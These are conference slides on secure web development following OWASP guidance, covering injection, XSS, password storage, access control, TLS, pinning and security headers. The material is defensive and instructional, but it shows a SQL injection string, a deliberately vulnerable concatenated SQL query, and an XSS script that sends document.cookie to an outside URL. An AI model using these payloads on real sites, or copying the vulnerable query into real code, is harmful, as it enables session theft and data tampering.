

# Latest in Web Security Development

Microsoft DevBoston

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# Agenda

OWASP Top 10

OWASP ASVS v3.0.1

OWASP Top 10 Proactive Controls v2

Extra – depending on time?

SSL/TLS

Content Security Policy

Security Headers

# OWASP



Open Web Application Security Project (OWASP) is not-for-profit organization focused on improving the security of software and helping people and organizations make informed decisions about true application security risks

Everyone welcome to participate in OWASP

All materials available under free and open software licenses

# OWASP Top 10 (2013)

Updated every 3 years – most recent 2013, ~~due 2016~~ **now 2017**

A1 - Injection

A2 - Broken Authentication and Session Management

A3 - Cross Site Scripting (XSS)

A4 - Insecure Direct Object References

A5 - Security Misconfiguration

A6 - Sensitive Data Exposure

A7 - Missing Function Level Access Control

A8 - Cross-Site Request Forgery

A9 - Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards

[https://www.owasp.org/index.php/Category:OWASP\\_Top\\_Ten\\_Project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)

# OWASP ASVS v3.0.1 (2016)

OWASP Application Security Verification Standard (ASVS) provides basis for testing web application technical security controls and provides developers list of requirements for secure development

Use as:

Metric

Guidance

During procurement

[https://www.owasp.org/index.php/Category:OWASP\\_Application\\_Security\\_Verification\\_Standard\\_Project](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)

# OWASP ASVS v3.0.1 (2016)

V1: Architecture, design and threat modelling

V2: Authentication Verification Requirements

V3: Session Management Verification Requirements

V4: Access Control Verification Requirements

V5: Malicious input handling verification requirements

V7: Cryptography at rest verification requirements

V8: Error handling and logging verification requirements

V9: Data protection verification requirements

[https://www.owasp.org/index.php/Category:OWASP\\_Application\\_Security\\_Verification\\_Standard\\_Project](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)

# OWASP ASVS v3.0.1 (2016)

V10: Communications security verification requirements

V11: HTTP security configuration verification requirements

V13: Malicious controls verification requirements

V15: Business logic verification requirements

V16: Files and resources verification requirements

V17: Mobile verification requirements

V18: Web services verification requirements

V19. Configuration

[https://www.owasp.org/index.php/Category:OWASP\\_Application\\_Security\\_Verification\\_Standard\\_Project](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)



# OWASP Top 10 Proactive Controls v2 (2016)

## Help for fixing Top 10 “Attacks”

C1 - Verify for Security Early and Often

C2 - Parameterize Queries

C3 - Encode Data

C4 - Validate All Inputs

C5 - Implement Identity and Authentication Controls

C6 - Implement Appropriate Access Controls

C7 - Protect Data

C8 - Implement Logging and Intrusion Detection

C9 - Leverage Security Frameworks and Libraries

C10 - Error and Exception Handling

[https://www.owasp.org/index.php/OWASP\\_Proactive\\_Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls)

# CI - Verify For Security Early And Often

Make security testing an integral part of developer's software engineering practice

Consider OWASP ASVS as guide to define security requirements and testing

Convert scanning output into reusable Proactive Controls to avoid entire classes of problems

# C2 - Parameterize Queries

Verify how parameters are interpreted before executing SQL Query

Addresses A1 - Injection

# The perfect password ...

X' or 'l'='l' --

- ✓ Upper
- ✓ Lower
- ✓ Number
- ✓ Special
- ✓ Over 16 characters

# SQL Injection

## Vulnerable Usage

```
String newName = request.getParameter("newName");
String id = request.getParameter("id");
String query = " UPDATE EMPLOYEES SET NAME="+ newName + " WHERE
ID =" + id;
Statement stmt = connection.createStatement();
```

## Secure Usage

```
//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
//HQL
Query safeHQLQuery = session.createQuery("from Employees
where id=:empId");
safeHQLQuery.setParameter("empId", id);
```

# C3 - Encode Data

Encode data before use in a parser (JS, CSS, XML)

Addresses A1-Injection and A3-Cross Site Scripting (XSS) (in part) protection

# Anatomy of a XSS attack

## 🎯 Attack 1 : cookie theft

```
<script>  
var badURL='https://owasp.org/somesite/data=' +  
document.cookie;  
var img = new Image();  
img.src = badURL;  
</script>
```

## 🎯 Attack 2 : Web site defacement

```
<script>document.body.innerHTML='<blink>GO  
OWASP</blink>';</script>
```

# XSS Attack : Problem & Solution

## The Problem

Web page vulnerable to XSS !

## The solution



OWASP Java Encoder Project

OWASP Java HTML Sanitizer Project



Microsoft Encoder and AntiXSS Library



# Microsoft Encoder and AntiXSS Library

System.Web.Security.AntiXSS

Microsoft.Security.Application.


AntiXSS

Can encode for HTML, HTML attributes, XML, CSS and JavaScript.

Native .NET Library

Very powerful well written library

For use in your User Interface code to defuse script in output



The screenshot shows the CodePlex website for the Microsoft Security Application AntiXSS library. The page title is "Microsoft Web Protection Library". The navigation menu includes "HOME", "SOURCE CODE", "DOWNLOADS", "DOCUMENTATION", "DISCUSSIONS", "ISSUES", and "PEOPLE". The "SOURCE CODE" tab is active, and the file tree on the left shows the project structure, with "AntiXSS.cs" selected. The main content area displays the source code for "AntiXSS.cs", which includes a copyright notice for Microsoft Corporation and a license statement: "THIS CODE AND INFORMATION ARE PROVIDED 'AS IS' WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE." The code also includes a summary comment: "Performs encoding of input strings to provide protection against Cross-site Scripting (XSS) attacks in various contexts."

# OWASP Java Encoder Project

[https://www.owasp.org/index.php/OWASP\\_Java\\_Encoder\\_Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)

No third party libraries or configuration necessary

This code was designed for high-availability/high-performance encoding functionality

Simple drop-in encoding functionality

Redesigned for performance

More complete API (URI and URI component encoding, etc) in some regards.

Compatibility : Java 1.5+

Current version 1.2

 Last update, 2015-04-12 : <https://github.com/OWASP/owasp-java-encoder/>

# OWASP Java Encoder Project

[https://www.owasp.org/index.php/OWASP\\_Java\\_Encoder\\_Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)

## ✓ HTML Contexts

```
Encode#forHtml  
Encode#forHtmlContent  
Encode#forHtmlAttribute  
Encode#forHtmlUnquotedAttribute
```

## ✓ XML Contexts

```
Encode#forXml  
Encode#forXmlContent  
Encode#forXmlAttribute  
Encode#forXmlComment  
Encode#forCDATA
```

## ✓ CSS Contexts

```
Encode#forCssString  
Encode#forCssUrl
```

## ✓ Javascript Contexts

```
Encode#forHtml  
Encode#forHtmlContent  
Encode#forHtmlAttribute  
Encode#forHtmlUnquotedAttribute
```

## ✓ URI/URL Contexts

```
Encode#forUri  
Encode#forUriComponent
```

# C4 – Validate All Inputs

Consider all inputs from outside application as untrusted

For web: includes HTTP headers, cookies, GET/POST parameters

Anything that can be manipulated by an attacker

Addresses A1-Injection (in part), A3-Cross Site Scripting (in part), A10-Unvalidated Redirects and Forwards



# OWASP HTML Sanitizer Project

[https://www.owasp.org/index.php/OWASP\\_Java\\_HTML\\_Sanitizer\\_Project](https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project)

HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.

Written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review

<https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules>

Simple programmatic POSITIVE policy configuration. No XML config.

This is code from the Caja project that was donated by Google's AppSec team.

High performance and low memory utilization.

# OWASP HTML Sanitizer Project

[https://www.owasp.org/index.php/OWASP\\_Java\\_HTML\\_Sanitizer\\_Project](https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project)

## ✓ Sample Usage : validate img tags

```
public static final PolicyFactory IMAGES = new
HtmlPolicyBuilder()
    .allowUrlProtocols("http", "https").allowElements("img")
    .allowAttributes("alt", "src").onElements("img")
    .allowAttributes("border", "height", "width").matching(INTEGER)
    .onElements("img")
    .toFactory();
```

## ✓ Sample Usage : validate link elements

```
public static final PolicyFactory LINKS = new HtmlPolicyBuilder()
    .allowStandardUrlProtocols().allowElements("a")
    .allowAttributes("href").onElements("a").requireRelNofollowOnLinks()
    .toFactory();
```

# .NET HtmlSanitizer

<https://github.com/mganss/HtmlSanitizer>

## ✓ Sample Usage : validate XSS attempt

```
var sanitizer = new Ganss.XSS.HtmlSanitizer();

var html = @"<script>alert('xss')</script><div
onload=""alert('xss')""
+ @"style=""background-color: test"">Test<img src=""test.gif""
+ @"style=""background-image: url(javascript:alert('xss')); margin:
10px""></div>";

var sanitized = sanitizer.Sanitize(html, "http://www.example.com");

Assert.That(sanitized, Is.EqualTo(@"<div style=""background-color:
test"">
+ @"Test<img style=""margin: 10px""
src=""http://www.example.com/test.gif""></div>"));
```



## Other resources

### Pure JavaScript, client side HTML Sanitization with CAJA!

<http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer>

<https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js>

### Python

<https://pypi.python.org/pypi/bleach>

### PHP

<http://htmlpurifier.org/>

[http://www.bioinformatics.org/phplabware/internal\\_utilities/htmlawed/](http://www.bioinformatics.org/phplabware/internal_utilities/htmlawed/)

**.NET (don't use stand alone (v4.3) – no longer supported, use built-in AntiXSS)**

### AntiXSS.getSafeHTML/getSafeHTMLFragment

<http://www.nuget.org/packages/AntiXss/>

<https://github.com/mganss/HtmlSanitizer>

### Ruby on Rails

<https://rubygems.org/gems/loofah>

<http://api.rubyonrails.org/classes/HTML.html>

# File upload

## Upload Verification

- Filename and Size validation + antivirus

## Upload Storage

- Use only trusted filenames + separate domain

## Beware of "special" files

- "crossdomain.xml" or "clientaccesspolicy.xml".

## Image Upload Verification

- Enforce proper image size limits

- Use image rewriting libraries

- Set the extension of the stored image to be a valid image extension

- Ensure the detected content type of the image is safe

## Generic Upload Verification

- Ensure decompressed size of file < maximum size

- Ensure that an uploaded archive matches the type expected (zip, rar)

- Ensure structured uploads such as an add-on follow proper standard

# C5 – Establish Authentication and Identity Controls

Authentication is process of verifying individual or entity

Covers Authentication, Session Management, Federation, Single Sign On, Password Management Tools, Identity Repositories, etc.

Addresses A2-Broken Authentication and Session Management

# Password cracking



# Password management best practices

## **1) Do not limit the type of characters or length of user password within reason**

Limiting passwords to protect against injection is doomed to failure

Use proper encoder and other defenses described instead

Be wary of systems that allow unlimited password sizes  
(Django DOS Sept 2013)

# Password management best practices

## 2) Use a cryptographically strong credential-specific salt

```
protect( [salt] + [password] );
```

Use a 32char or 64char salt (actual size dependent on protection function);

Do not depend on hiding, splitting or otherwise obscuring the salt

# Password management best practices

## 3a) Impose difficult verification on the attacker and defender

**PBKDF2**([salt] + [password], c=140,000);

Use **PBKDF2** when **FIPS** certification or enterprise support on many platforms is required

Use **Scrypt** where resisting any/all hardware accelerated attacks is necessary but enterprise support and scale is not.  
(bcrypt is also a reasonable choice)

# Password management best practices

## **3b) Impose difficult verification on only the attacker**

HMAC-SHA-256( [private key], [salt] + [password] )

Protect this key as any private key using best practices

Store the key outside the credential store

Build the password-to-hash conversion as a separate webservice (cryptographic isolation).



# User authentication best practices

Require 2 identity questions

Last name, account number, email, DOB

Enforce lockout policy

Ask one or more good security questions

[https://www.owasp.org/index.php/Choosing\\_and\\_Using\\_Security\\_Questions\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Choosing_and_Using_Security_Questions_Cheat_Sheet)

Send the user a randomly generated token via out-of-band app, SMS or token

Verify code in same web session

Enforce lockout policy

Change password

Enforce password policy

# User authentication best practices – real world

Primary email: jim@manico.net

New Email: facebook@manico.net

Facebook email: jmanico@facebook.com  
Your Facebook email is based on your public username. Email sent to this address goes to Facebook Messages.

Allow friends to include my email address in Download Your Information

To save these settings, please enter your Facebook password.

Password:  Wrong password.

### Change E-mail

Use the form below to change the e-mail address for your Amazon.com account. Use the new address next time you log in or place an order.

**What is your new e-mail address?**  
**Old e-mail address:** jim@manico.net  
**New e-mail address:**   
**Re-enter your new e-mail address:**   
**Password:**

## Change Your Email Address

Current email: jim@manico.net

New email	Meetup password	<input type="button" value="Submit"/>	<input type="button" value="Cancel"/>
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[Forgot your password?](#)

Save account changes

Re-enter your Twitter password to save changes to your account.

[Forgot your password?](#)

# Other resources

## Authentication Cheat Sheet

[https://www.owasp.org/index.php/Authentication\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Authentication_Cheat_Sheet)

## Password Storage Cheat Sheet

[https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet)

## Forgot Password Cheat Sheet

[https://www.owasp.org/index.php/Forgot\\_Password\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet)

## Session Management Cheat Sheet

[https://www.owasp.org/index.php/Session\\_Management\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Session_Management_Cheat_Sheet)

## ASVS AuthN and Session Requirements

Obviously, Identity is a BIG topic !

# C6 – Implement Appropriate Access Controls

Authorization (Access Control) is process where requests to access feature or resource should be granted or denied

Consider first principles:

- Force all requests go through access control

- Deny by default

- Avoid hard-code policy-based checks in code

- Check on server when function accessed

Addresses A4-Insecure Direct Object References, A7-Missing Function Level Access Control

# Access Control Anti-Patterns

Hard-coded role checks in application code

Lack of centralized access control logic

Untrusted data driving access control decisions

Access control that is “open by default”

Lack of addressing horizontal access control in a standardized way (if at all)

Access control logic that needs to be manually added to every endpoint in code

Access Control that is “sticky” per session

Access Control that requires per-user policy

# RBAC (Role based access control)

## Hard-coded role checks

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {  
  deleteAccount();  
}
```

## RBAC

```
if (user.hasAccess("DELETE_ACCOUNT")) {  
  deleteAccount();  
}
```

# ASP.NET Roles vs Claims Authorization

## Role Based Authorization

```
[Authorize(Roles = "Jedi", "Sith")]  
public ActionResult WieldLightsaber()  
{  
    return View();  
}
```

## Claim Based Authorization

```
[ClaimAuthorize(Permission="CanWieldLightsaber")]  
public ActionResult WieldLightsaber()  
{  
    return View();  
}
```

# C7 – Protect Data

Data encryption at rest or transit

Addresses A6-Sensitive Data Exposure



# Encrypting data in Transit

What benefits do HTTPS provide?

Confidentiality: Spy cannot view your data

Integrity: Spy cannot change your data

Authenticity: Server you are visiting is the right one

High performance !

## HTTPS configuration best practices

[https://www.owasp.org/index.php/Transport\\_Layer\\_Protection\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet)

<https://www.ssllabs.com/projects/best-practices/>

# Encrypting data in Transit

## HSTS (Strict Transport Security)

[http://www.youtube.com/watch?v=zEV3HOuM\\_Vw](http://www.youtube.com/watch?v=zEV3HOuM_Vw)

## Forward Secrecy

<https://whispersystems.org/blog/asynchronous-security/>

## Certificate Creation Transparency

<http://certificate-transparency.org>

## Certificate Pinning

[https://www.owasp.org/index.php/Pinning\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Pinning_Cheat_Sheet)

## Browser Certificate Pruning

## Encrypting data in Transit : HSTS (Strict Transport Security)

<http://dev.chromium.org/sts>

Forces browser to only make HTTPS connection to server

Must be initially delivered over a HTTPS connection

Current HSTS Chrome preload list

[http://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport\\_security\\_state\\_static.json](http://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport_security_state_static.json)

If you own a site that you would like to see included in the preloaded Chromium HSTS list, start sending the HSTS header and then contact: <https://hstspreload.appspot.com/>

A site is included in the Firefox preload list if the following hold:

- It is in the Chromium list (with force-https).

- It sends an HSTS header.

- The max-age sent is at least 10886400 (18 weeks).

# Encrypting data in Transit : HSTS (Strict Transport Security)

<http://dev.chromium.org/sts>

## Example in Web.config (ASP.NET / MVC)

```
<system.webServer>  
  <httpProtocol>  
    <customHeaders>  
      <!-- Only applies when using HTTPS -->  
      <add name="Strict-Transport-Security"  
          value="max-age=31536000; includeSubdomains; preload" />  
    </customHeaders>  
  </httpProtocol>  
</system.webServer>
```

# Encrypting data in Transit : Certificate Pinning

[https://www.owasp.org/index.php/Pinning\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Pinning_Cheat_Sheet)

## What is Pinning ?

- Pinning is a key continuity scheme
- Detect when an imposter with a fake but CA validated certificate attempts to act like the real server

## 2 Types of pinning

- Carry around a copy of the server's public key;
- Great if you are distributing a dedicated client-server application since you know the server's certificate or public key in advance

## Note of the server's public key on first use

- Trust-on-First-Use (TOFU) pinning
- Useful when no a priori knowledge exists, such as SSH or a Browser

# Encrypting data in Transit : Browser-Based TOFU Pinning

[https://www.owasp.org/index.php/Pinning\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Pinning_Cheat_Sheet)

Browser-Based TOFU Pinning : Trust on First Use

HTTP Public Key Pinning IETF Draft

<http://tools.ietf.org/html/draft-ietf-websec-key-pinning-11>

Freezes the certificate by pushing a fingerprint of (parts of) the certificate chain to the browser

Example:

```
Public-Key-Pins: pin-sha1="4n972HfV354KP560yw4uqe/baXc=" ;  
pin-sha1="qvTGHdzF6KLavt4PO0gs2a6pQ00=" ;  
pin-sha256="LPJNul+wow4m6DsqxnbnihsWHlwfp0JecwQzYpOLmCQ=" ;  
max-age=10000; includeSubDomains
```

# Encrypting data in Transit : Pinning in Play (Chrome)

[https://www.owasp.org/index.php/Pinning\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Pinning_Cheat_Sheet)



## Your connection is not private

Attackers might be trying to steal your information from **www.google.com** (for example, passwords, messages, or credit cards).

[Advanced](#)

Reload

## Encrypting data in Transit : Forward Secrecy

<https://whispersystems.org/blog/asynchronous-security/>

If you use older SSL ciphers, every time anyone makes a SSL connection to your server, that message is encrypted with (basically) the same private server key

**Perfect forward secrecy:** Peers in a conversation instead negotiate secrets through an ephemeral (temporary) key exchange

With PFS, recording ciphertext traffic doesn't help an attacker even if the private server key is stolen!



# Encrypting data at Rest : Google KeyCzar

<https://github.com/google/keyczar>

Keyczar is an open source cryptographic toolkit for Java, Python and C++.  
Designed to make it easier and safer for developers to use cryptography in their applications.

Secure key rotation and versioning

Safe default algorithms, modes, and key lengths

Automated generation of initialization vectors and ciphertext signatures

## ✓ Sample Usage :

```
Crypter crypter = new Crypter("/path/to/your/keys");  
String ciphertext = crypter.encrypt("Secret message");  
String plaintext = crypter.decrypt(ciphertext);
```

# Encrypting data at Rest : Libsodium

<https://www.gitbook.com/book/jedisct1/libsodium/details>

A high-security, cross-platform & easy-to-use crypto library.

Modern, easy-to-use software library for encryption, decryption, signatures, password hashing and more.

It is a portable, cross-compilable, installable & packageable fork of [NaCl](#), with a compatible API, and an extended API to improve usability even further

Provides all of the core operations needed to build higher-level cryptographic tools.

Sodium supports a variety of compilers and operating systems, including Windows (with MinGW or Visual Studio, x86 and x86\_64), iOS and Android.

The design choices emphasize security, and "magic constants" have clear rationales.

Also, libsodium for .NET: <https://github.com/adamcaudill/libsodium-net>

# C8 – Implement Logging and Intrusion Detection

Adequate logging and intrusion detection

Addresses all Top 10

## Tips for proper application logging

Use a common/standard logging approach to facilitate correlation and analysis

- Logging framework : **SLF4J** with **Logback** or Apache **Log4j2** or **log4net**

Avoid side effects : define a minimal but effective logging approach to track user activities

Perform encoding on untrusted data : protection against Log injection attacks!

## App Layer Intrusion Detection : Detection Points Examples

Input validation failure server side when client side validation exists

Input validation failure server side on non-user editable parameters such as hidden fields, checkboxes, radio buttons or select lists

Forced browsing to common attack entry points

Honeypot URL (e.g. a fake path listed in robots.txt like e.g. /admin/secretlogin.aspx)

# App Layer Intrusion Detection : Detection Points Examples


Blatant SQLi or XSS injection attacks.

Workflow sequence abuse (e.g. multi-part form in wrong order).

Custom business logic (e.g. basket vs catalogue price mismatch).

Further study :

- AppSensor OWASP Project
- libinjection : from SQLi to XSS – Nick Galbreath
- Attack Driven Defense – Zane Lackey



# C9 – Leverage Security Frameworks and Libraries

Don't start from scratch for security

Secure coding libraries help guard against security-related design and implementation flaws (be sure to keep them up to date!)

For example:

- Choose good database ORM

- Choose framework with good access control

- Choose framework with integrated CSRF

Addresses all Top 10

# C10 – Error and Exception Handling

Handle errors and exception handling with care

Addresses all Top 10



# Best practices

Manage exceptions in a **centralized manner** to avoid duplicated try/catch blocks in the code, and to ensure that all unexpected behaviors are correctly handled inside the application.

Ensure that error messages displayed to users do not leak **critical data**, but are still verbose enough to explain the issue to the user.

Ensure that exceptions are logged in a way that gives enough information for Q/A, forensics or incident response teams to understand the problem.

# Your challenge

Evaluate your own web security development to determine if you are following modern practices

Use the new tools (ASVS, Proactive Controls, etc.)

# Resources - Tools

## OWASP Application Security Verification Standard (ASVS)

[https://www.owasp.org/index.php/Category:OWASP\\_Application\\_Security\\_Verification\\_Standard\\_Project](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)

## OWASP Proactive Controls 2016

[https://www.owasp.org/index.php/OWASP\\_Proactive\\_Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls)

# Resources - Books

The Tangled Web: A Guide to Securing Modern Web Applications by Michal Zalewski

Iron-Clad Java: Building Secure Web Applications by Jim Manico and August Detlefsen

Secure Your Node.js Web Applications: Keep Attackers Out and Users Happy by Karl Duuna

# Questions?



## Contacts

Web Site: <https://roberthurlbut.com>

LinkedIn:

<https://www.linkedin.com/in/roberthurlbut>

Twitter: [@RobertHurlbut](https://twitter.com/RobertHurlbut)

Email: robert at roberthurlbut.com

# Extra

SSL/TLS

Content Security Policy

Security Headers

# SSL / TLS

If not already, consider HTTPS (TLS 1.1 or 1.2)

Make sure all site is using HTTPS

Use strong certificate – at least SHA-256, 2048 bit key (no SHA-1, SSL 1, etc.)

Test here: <https://www.ssllabs.com/ssltest/>

# Self-signed SHA-256 Certificate

```
makecert.exe -r -pe -n "CN=%I" -b 01/01/2015 -e 01/01/2020  
-eku 1.3.6.1.5.5.7.3.1 -sky exchange -a sha256 -len 2048 -ss my  
-sr localMachine -sp "Microsoft Enhanced RSA and AES  
Cryptographic Provider" -sy 24
```

(See **CreateSelfSignedSHA256SslCert.bat** under <https://github.com/securedvelop/HttpsTools>)

Installs self-signed SHA256 certificate into the My/LocalMachine store

Useful for local dev / testing websites



# Content Security Policy (CSP)

Added layer of security

Helps detect and mitigate certain types of attacks such as Cross-Site Scripting (XSS) and data injection attacks

`default-src 'self'`      The default-src is the default policy for loading content such as JavaScript, Images, CSS, Font's, AJAX requests, Frames, HTML5 Media.

`script-src 'self'`      Defines valid sources of JavaScript.

`style-src 'self'`      Defines valid sources of stylesheets.

`img-src 'self'`      Defines valid sources of images.

...

See: <http://content-security-policy.com/>

# Security Headers

Added layer of security sent with HTTP/S Response Headers

Others: Content-Security-Policy, X-Content-Type-Options, X-Frame-Options and X-XSS-Protection.

HTTPS only: Strict-Transport-Security and Public-Key-Pin

Test: <https://securityheaders.io/>

# Security Scans

Automated Security Analyzer for  
ASP.NET Websites

Test: <https://asafaweb.com>

# Questions?



## Contacts

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